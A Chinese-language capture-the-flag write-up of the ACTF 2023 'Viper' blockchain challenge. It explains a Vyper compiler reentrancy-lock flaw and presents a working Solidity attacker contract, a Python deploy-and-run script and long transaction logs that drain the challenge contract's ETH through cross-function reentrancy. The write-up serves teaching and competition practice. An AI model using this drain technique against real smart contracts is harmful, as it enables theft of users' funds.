ACTF 2023 Blockchain Writeup

Viper

题目描述

1

2

3

4

题目附件

解题思路

这题非常明显地暗示了Viper(Vyper)这一关键词,不难联想到前段时间的Curve重入攻击事件事件分析 By ZAN/事件分析 By 零时科技),大致情况是智能合约编程语言Vyper0.2.150.2.160.3.0版本编译器存在重入锁故障(即在一笔交易中,两个不同函数的重入锁,并不共享一个锁变量,导致合约可以被跨函数重入攻击)。

将题目合约代码Viper.vy转换为等价的Solidity代码,并删去nonreentrant修饰器函数以便阅读(删去仅是为了方便理解,实际上单函数自身的重入锁是有效的),得到Viper.sol如下:

5

重入这一攻击类型也是经常接触到的,我在这里就直接给出函数调用路径而不作详细解释了:

  1. 我们的目标是清空题目合约中的ETH余额,初始状态下余额为3 ETH
  2. 构造receive函数,在触发重入效果时执行deposit coins[1]操作:

    receive() external payable {
            if (msg.value == 1) {
                uint256 amount = token.balanceOf(address(this));
                target.deposit(1, amount);
            }
        }
  3. 调用preSwap函数,使用msg.value=1 ether(ETH is coins[0])兑换得到coins[1]balances,同时提前approve以便后续transferFrom成功:

    function preSwap() external payable {
            target.swap{value: msg.value}(0, 1, msg.value);
            token.approve(address(target), type(uint256).max);
        }
  4. 调用hack函数,循环执行4次,每次withdraw所拥有的全部coins[1],并且将其swapETH(coins[0]),同时附带msg.value=1 wei以便重入到receive函数时进行识别,在执行4次循环后我们就有足够的balances[0]withdraw题目合约上所有的4 ETH(3+1=4)

    function hack() external payable {
            uint256 amount = target.balances(1, address(this));
            for (uint i = 0; i < 4; i++) {
                target.withdraw(1, amount);
                target.swap{value: msg.value}(1, 0, 0);
            }
            target.withdraw(0, address(target).balance);
        }
  5. 这样我们便能够在不消耗coins[1]balances的同时(在重入过程中withdrawdeposit,值没有改变),增加了_after_before的差值(在_before值记录之前就已经withdraw出来了coins[1],而_after的增量来自于deposit,这个过程中执行了swap之外的transferFrom)从而增加我们的balances[0]跨函数重入利用成功。

以下是攻击合约Farmer.sol和解题脚本solve.py的代码:

6

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Viper.sol";

contract Farmer {
    ERC20 token = ERC20(address(0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D));
    Viper target =
        Viper(payable(address(0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B)));

    function preSwap() external payable {
        target.swap{value: msg.value}(0, 1, msg.value);
        token.approve(address(target), type(uint256).max);
    }

    function hack() external payable {
        uint256 amount = target.balances(1, address(this));
        for (uint i = 0; i < 4; i++) {
            target.withdraw(1, amount);
            target.swap{value: msg.value}(1, 0, 0);
        }
        target.withdraw(0, address(target).balance);
    }

    function getBalance0() external view returns (uint256) {
        return target.balances(0, address(this));
    }

    function getBalance1() external view returns (uint256) {
        return target.balances(1, address(this));
    }

    function isSolved() external view returns (bool) {
        return target.isSolved();
    }

    receive() external payable {
        if (msg.value == 1) {
            uint256 amount = token.balanceOf(address(this));
            target.deposit(1, amount);
        }
    }
}
from Poseidon.Blockchain import *

chain = Chain("http://120.46.58.72:8545")
account = Account(chain, "<PrivateKey>")

abi, bytecode = BlockchainUtils.Compile("Farmer.sol", "Farmer")
contract: Contract = account.DeployContract(abi, bytecode)["Contract"]

contract.ReadOnlyCallFunction("getBalance0")
contract.ReadOnlyCallFunction("getBalance1")
contract.CallFunctionWithParameters(Web3.to_wei(1, 'ether'), None, 1000000, "preSwap")
contract.ReadOnlyCallFunction("getBalance0")
contract.ReadOnlyCallFunction("getBalance1")

contract.CallFunctionWithParameters(1, None, 1000000, "hack")
contract.ReadOnlyCallFunction("isSolved")
2023-10-30 19:04:41.712 | SUCCESS  | Poseidon.Blockchain:<module>:17 - 
[Poseidon]Current Poseidon Version [1.1.5]
--------------------------------------------------------------------------------
2023-10-30 19:04:41.820 | SUCCESS  | Poseidon.Blockchain:__init__:49 - 
[Chain][Initialize]Connected to [http://120.46.58.72:8545] [105 ms]
--------------------------------------------------------------------------------
2023-10-30 19:04:42.234 | SUCCESS  | Poseidon.Blockchain:GetBasicInformation:74 - 
[Chain][GetBasicInformation]
[ChainId]21789
[BlockNumber]34267
[GasPrice]1.000000007 Gwei
[ClientVersion]Geth/v1.13.4-stable-3f907d6a/linux-amd64/go1.21.3
--------------------------------------------------------------------------------
2023-10-30 19:04:42.247 | SUCCESS  | Poseidon.Blockchain:__init__:384 - 
[Account][Initialize]Successfully import account [0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8]
--------------------------------------------------------------------------------
2023-10-30 19:04:42.251 | WARNING  | Poseidon.Blockchain:RequestAuthorizationBeforeSendTransaction:404 - 
[Account][RequestAuthorizationBeforeSendTransaction]Open: False
--------------------------------------------------------------------------------
2023-10-30 19:04:42.393 | SUCCESS  | Poseidon.Blockchain:GetBalance:250 - 
[Chain][GetBalance]
[Address]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[Balance][1987067653909473569 Wei]<=>[1.987067653909473569 Ether]
--------------------------------------------------------------------------------
2023-10-30 19:04:43.489 | SUCCESS  | Poseidon.Blockchain:Compile:926 - 
[BlockchainUtils][Compile]
[FileCourse]Farmer.sol
[ContractName]Farmer
[ABI][{'inputs': [], 'name': 'getBalance0', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'getBalance1', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'hack', 'outputs': [], 'stateMutability': 'payable', 'type': 'function'}, {'inputs': [], 'name': 'isSolved', 'outputs': [{'internalType': 'bool', 'name': '', 'type': 'bool'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'preSwap', 'outputs': [], 'stateMutability': 'payable', 'type': 'function'}, {'stateMutability': 'payable', 'type': 'receive'}]
[Bytecode]60806040527350155b59bd8bb2740a62e8e8900dac78e94ea22d6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730a6fa9c756a4a14ec615f3279ca8549fd3650b5b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b50610c59806100c96000396000f3fe60806040526004361061004e5760003560e01c806341aec538146101935780634de260a2146101be578063629d9405146101c857806364d98f6e146101f3578063f5412a301461021e5761018e565b3661018e576001340361018c5760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016100b79190610877565b602060405180830381865afa1580156100d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f891906108cd565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb6808d16001836040518363ffffffff1660e01b815260040161015892919061095b565b600060405180830381600087803b15801561017257600080fd5b505af1158015610186573d6000803e3d6000fd5b50505050505b005b600080fd5b34801561019f57600080fd5b506101a8610228565b6040516101b59190610984565b60405180910390f35b6101c66102ce565b005b3480156101d457600080fd5b506101dd610581565b6040516101ea9190610984565b60405180910390f35b3480156101ff57600080fd5b50610208610627565b60405161021591906109ba565b60405180910390f35b6102266106bf565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b81526004016102889291906109d5565b602060405180830381865afa1580156102a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c991906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b815260040161032e9291906109d5565b602060405180830381865afa15801561034b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036f91906108cd565b905060005b60048110156104b457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96001846040518363ffffffff1660e01b81526004016103db92919061095b565b600060405180830381600087803b1580156103f557600080fd5b505af1158015610409573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460016000806040518563ffffffff1660e01b815260040161046f93929190610a6a565b6000604051808303818588803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b505050505080806104ac90610ad0565b915050610374565b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316040518363ffffffff1660e01b815260040161054c929190610b18565b600060405180830381600087803b15801561056657600080fd5b505af115801561057a573d6000803e3d6000fd5b5050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576000306040518363ffffffff1660e01b81526004016105e1929190610b41565b602060405180830381865afa1580156105fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062291906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364d98f6e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba9190610b96565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460006001346040518563ffffffff1660e01b815260040161072193929190610bc3565b6000604051808303818588803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016107f0929190610bfa565b6020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108339190610b96565b50565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061086182610836565b9050919050565b61087181610856565b82525050565b600060208201905061088c6000830184610868565b92915050565b600080fd5b6000819050919050565b6108aa81610897565b81146108b557600080fd5b50565b6000815190506108c7816108a1565b92915050565b6000602082840312156108e3576108e2610892565b5b60006108f1848285016108b8565b91505092915050565b6000819050919050565b600081600f0b9050919050565b6000819050919050565b600061093661093161092c846108fa565b610911565b610904565b9050919050565b6109468161091b565b82525050565b61095581610897565b82525050565b6000604082019050610970600083018561093d565b61097d602083018461094c565b9392505050565b6000602082019050610999600083018461094c565b92915050565b60008115159050919050565b6109b48161099f565b82525050565b60006020820190506109cf60008301846109ab565b92915050565b60006040820190506109ea600083018561093d565b6109f76020830184610868565b9392505050565b6000819050919050565b6000610a23610a1e610a19846109fe565b610911565b610904565b9050919050565b610a3381610a08565b82525050565b6000610a54610a4f610a4a846109fe565b610911565b610897565b9050919050565b610a6481610a39565b82525050565b6000606082019050610a7f600083018661093d565b610a8c6020830185610a2a565b610a996040830184610a5b565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610adb82610897565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610b0d57610b0c610aa1565b5b600182019050919050565b6000604082019050610b2d6000830185610a2a565b610b3a602083018461094c565b9392505050565b6000604082019050610b566000830185610a2a565b610b636020830184610868565b9392505050565b610b738161099f565b8114610b7e57600080fd5b50565b600081519050610b9081610b6a565b92915050565b600060208284031215610bac57610bab610892565b5b6000610bba84828501610b81565b91505092915050565b6000606082019050610bd86000830186610a2a565b610be5602083018561093d565b610bf2604083018461094c565b949350505050565b6000604082019050610c0f6000830185610868565b610c1c602083018461094c565b939250505056fea264697066735822122075dd65959b1a3daae02ab1b35f23c77cc4458d8549b21f49ce70f1e8916a4ee464736f6c63430008130033
--------------------------------------------------------------------------------
2023-10-30 19:04:44.558 | INFO     | Poseidon.Blockchain:DeployContract:595 - 
[Account][DeployContract]
[Txn]{
  "chainId": 21789,
  "from": "0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8",
  "value": 0,
  "gas": 782210,
  "gasPrice": "1.000000007 Gwei",
  "nonce": 54,
  "data": "0x60806040527350155b59bd8bb2740a62e8e8900dac78e94ea22d6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730a6fa9c756a4a14ec615f3279ca8549fd3650b5b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b50610c59806100c96000396000f3fe60806040526004361061004e5760003560e01c806341aec538146101935780634de260a2146101be578063629d9405146101c857806364d98f6e146101f3578063f5412a301461021e5761018e565b3661018e576001340361018c5760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016100b79190610877565b602060405180830381865afa1580156100d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f891906108cd565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb6808d16001836040518363ffffffff1660e01b815260040161015892919061095b565b600060405180830381600087803b15801561017257600080fd5b505af1158015610186573d6000803e3d6000fd5b50505050505b005b600080fd5b34801561019f57600080fd5b506101a8610228565b6040516101b59190610984565b60405180910390f35b6101c66102ce565b005b3480156101d457600080fd5b506101dd610581565b6040516101ea9190610984565b60405180910390f35b3480156101ff57600080fd5b50610208610627565b60405161021591906109ba565b60405180910390f35b6102266106bf565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b81526004016102889291906109d5565b602060405180830381865afa1580156102a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c991906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b815260040161032e9291906109d5565b602060405180830381865afa15801561034b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036f91906108cd565b905060005b60048110156104b457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96001846040518363ffffffff1660e01b81526004016103db92919061095b565b600060405180830381600087803b1580156103f557600080fd5b505af1158015610409573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460016000806040518563ffffffff1660e01b815260040161046f93929190610a6a565b6000604051808303818588803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b505050505080806104ac90610ad0565b915050610374565b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316040518363ffffffff1660e01b815260040161054c929190610b18565b600060405180830381600087803b15801561056657600080fd5b505af115801561057a573d6000803e3d6000fd5b5050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576000306040518363ffffffff1660e01b81526004016105e1929190610b41565b602060405180830381865afa1580156105fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062291906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364d98f6e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba9190610b96565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460006001346040518563ffffffff1660e01b815260040161072193929190610bc3565b6000604051808303818588803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016107f0929190610bfa565b6020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108339190610b96565b50565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061086182610836565b9050919050565b61087181610856565b82525050565b600060208201905061088c6000830184610868565b92915050565b600080fd5b6000819050919050565b6108aa81610897565b81146108b557600080fd5b50565b6000815190506108c7816108a1565b92915050565b6000602082840312156108e3576108e2610892565b5b60006108f1848285016108b8565b91505092915050565b6000819050919050565b600081600f0b9050919050565b6000819050919050565b600061093661093161092c846108fa565b610911565b610904565b9050919050565b6109468161091b565b82525050565b61095581610897565b82525050565b6000604082019050610970600083018561093d565b61097d602083018461094c565b9392505050565b6000602082019050610999600083018461094c565b92915050565b60008115159050919050565b6109b48161099f565b82525050565b60006020820190506109cf60008301846109ab565b92915050565b60006040820190506109ea600083018561093d565b6109f76020830184610868565b9392505050565b6000819050919050565b6000610a23610a1e610a19846109fe565b610911565b610904565b9050919050565b610a3381610a08565b82525050565b6000610a54610a4f610a4a846109fe565b610911565b610897565b9050919050565b610a6481610a39565b82525050565b6000606082019050610a7f600083018661093d565b610a8c6020830185610a2a565b610a996040830184610a5b565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610adb82610897565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610b0d57610b0c610aa1565b5b600182019050919050565b6000604082019050610b2d6000830185610a2a565b610b3a602083018461094c565b9392505050565b6000604082019050610b566000830185610a2a565b610b636020830184610868565b9392505050565b610b738161099f565b8114610b7e57600080fd5b50565b600081519050610b9081610b6a565b92915050565b600060208284031215610bac57610bab610892565b5b6000610bba84828501610b81565b91505092915050565b6000606082019050610bd86000830186610a2a565b610be5602083018561093d565b610bf2604083018461094c565b949350505050565b6000604082019050610c0f6000830185610868565b610c1c602083018461094c565b939250505056fea264697066735822122075dd65959b1a3daae02ab1b35f23c77cc4458d8549b21f49ce70f1e8916a4ee464736f6c63430008130033"
}
--------------------------------------------------------------------------------
2023-10-30 19:04:50.747 | SUCCESS  | Poseidon.Blockchain:GetTransactionInformationByHash:109 - 
[Chain][GetTransactionInformationByHash]
[TransactionHash]0x70b428625f8700f55387c85419871c830b401244ffe04e9eb7bf136dd0decbf8
[BlockNumber]34269
[TransactionIndex]0
[Status]Success
[Type]Traditional
[Action]Deploy Contract
[From]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[To]None
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[GasPrice]1.000000007 Gwei
[GasLimit]782210 [GasUsed]782210
[Nonce]54 [Value]0
[R]0x1cfd454b986fe5eb6a29490974d3942b5506c54e940414b45c156a38c3867bc7
[S]0x68323a5510f9c37cc7501f6994255a20835c7a0984899a73ff2e48080dcc3432
[V]43613
[Logs][]
[InputData]b'`\x80`@RsP\x15[Y\xbd\x8b\xb2t\nb\xe8\xe8\x90\r\xacx\xe9N\xa2-`\x00\x80a\x01\x00\n\x81T\x81s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x02\x19\x16\x90\x83s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16\x02\x17\x90UPs\no\xa9\xc7V\xa4\xa1N\xc6\x15\xf3\'\x9c\xa8T\x9f\xd3e\x0b[`\x01`\x00a\x01\x00\n\x81T\x81s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x02\x19\x16\x90\x83s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16\x02\x17\x90UP4\x80\x15a\x00\xb9W`\x00\x80\xfd[Pa\x0cY\x80a\x00\xc9`\x009`\x00\xf3\xfe`\x80`@R`\x046\x10a\x00NW`\x005`\xe0\x1c\x80cA\xae\xc58\x14a\x01\x93W\x80cM\xe2`\xa2\x14a\x01\xbeW\x80cb\x9d\x94\x05\x14a\x01\xc8W\x80cd\xd9\x8fn\x14a\x01\xf3W\x80c\xf5A*0\x14a\x02\x1eWa\x01\x8eV[6a\x01\x8eW`\x014\x03a\x01\x8cW`\x00\x80`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16cp\xa0\x8210`@Q\x82c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x00\xb7\x91\x90a\x08wV[` `@Q\x80\x83\x03\x81\x86Z\xfa\x15\x80\x15a\x00\xd4W=`\x00\x80>=`\x00\xfd[PPPP`@Q=`\x1f\x19`\x1f\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x00\xf8\x91\x90a\x08\xcdV[\x90P`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16c\xbbh\x08\xd1`\x01\x83`@Q\x83c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x01X\x92\x91\x90a\t[V[`\x00`@Q\x80\x83\x03\x81`\x00\x87\x80;\x15\x80\x15a\x01rW`\x00\x80\xfd[PZ\xf1\x15\x80\x15a\x01\x86W=`\x00\x80>=`\x00\xfd[PPPPP[\x00[`\x00\x80\xfd[4\x80\x15a\x01\x9fW`\x00\x80\xfd[Pa\x01\xa8a\x02(V[`@Qa\x01\xb5\x91\x90a\t\x84V[`@Q\x80\x91\x03\x90\xf3[a\x01\xc6a\x02\xceV[\x00[4\x80\x15a\x01\xd4W`\x00\x80\xfd[Pa\x01\xdda\x05\x81V[`@Qa\x01\xea\x91\x90a\t\x84V[`@Q\x80\x91\x03\x90\xf3[4\x80\x15a\x01\xffW`\x00\x80\xfd[Pa\x02\x08a\x06\'V[`@Qa\x02\x15\x91\x90a\t\xbaV[`@Q\x80\x91\x03\x90\xf3[a\x02&a\x06\xbfV[\x00[`\x00`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16c\x1c\xb3\x1aW`\x010`@Q\x83c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x02\x88\x92\x91\x90a\t\xd5V[` `@Q\x80\x83\x03\x81\x86Z\xfa\x15\x80\x15a\x02\xa5W=`\x00\x80>=`\x00\xfd[PPPP`@Q=`\x1f\x19`\x1f\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xc9\x91\x90a\x08\xcdV[\x90P\x90V[`\x00`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16c\x1c\xb3\x1aW`\x010`@Q\x83c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x03.\x92\x91\x90a\t\xd5V[` `@Q\x80\x83\x03\x81\x86Z\xfa\x15\x80\x15a\x03KW=`\x00\x80>=`\x00\xfd[PPPP`@Q=`\x1f\x19`\x1f\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03o\x91\x90a\x08\xcdV[\x90P`\x00[`\x04\x81\x10\x15a\x04\xb4W`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16cx\x8fw\xf9`\x01\x84`@Q\x83c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x03\xdb\x92\x91\x90a\t[V[`\x00`@Q\x80\x83\x03\x81`\x00\x87\x80;\x15\x80\x15a\x03\xf5W`\x00\x80\xfd[PZ\xf1\x15\x80\x15a\x04\tW=`\x00\x80>=`\x00\xfd[PPPP`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16c\xb1\xed%L4`\x01`\x00\x80`@Q\x85c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x04o\x93\x92\x91\x90a\njV[`\x00`@Q\x80\x83\x03\x81\x85\x88\x80;\x15\x80\x15a\x04\x88W`\x00\x80\xfd[PZ\xf1\x15\x80\x15a\x04\x9cW=`\x00\x80>=`\x00\xfd[PPPPP\x80\x80a\x04\xac\x90a\n\xd0V[\x91PPa\x03tV[P`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16cx\x8fw\xf9`\x00`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x161`@Q\x83c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x05L\x92\x91\x90a\x0b\x18V[`\x00`@Q\x80\x83\x03\x81`\x00\x87\x80;\x15\x80\x15a\x05fW`\x00\x80\xfd[PZ\xf1\x15\x80\x15a\x05zW=`\x00\x80>=`\x00\xfd[PPPPPV[`\x00`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16c\x1c\xb3\x1aW`\x000`@Q\x83c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x05\xe1\x92\x91\x90a\x0bAV[` `@Q\x80\x83\x03\x81\x86Z\xfa\x15\x80\x15a\x05\xfeW=`\x00\x80>=`\x00\xfd[PPPP`@Q=`\x1f\x19`\x1f\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06"\x91\x90a\x08\xcdV[\x90P\x90V[`\x00`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16cd\xd9\x8fn`@Q\x81c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xfa\x15\x80\x15a\x06\x96W=`\x00\x80>=`\x00\xfd[PPPP`@Q=`\x1f\x19`\x1f\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06\xba\x91\x90a\x0b\x96V[\x90P\x90V[`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16c\xb1\xed%L4`\x00`\x014`@Q\x85c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x07!\x93\x92\x91\x90a\x0b\xc3V[`\x00`@Q\x80\x83\x03\x81\x85\x88\x80;\x15\x80\x15a\x07:W`\x00\x80\xfd[PZ\xf1\x15\x80\x15a\x07NW=`\x00\x80>=`\x00\xfd[PPPPP`\x00\x80T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x16c\t^\xa7\xb3`\x01`\x00\x90T\x90a\x01\x00\n\x90\x04s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x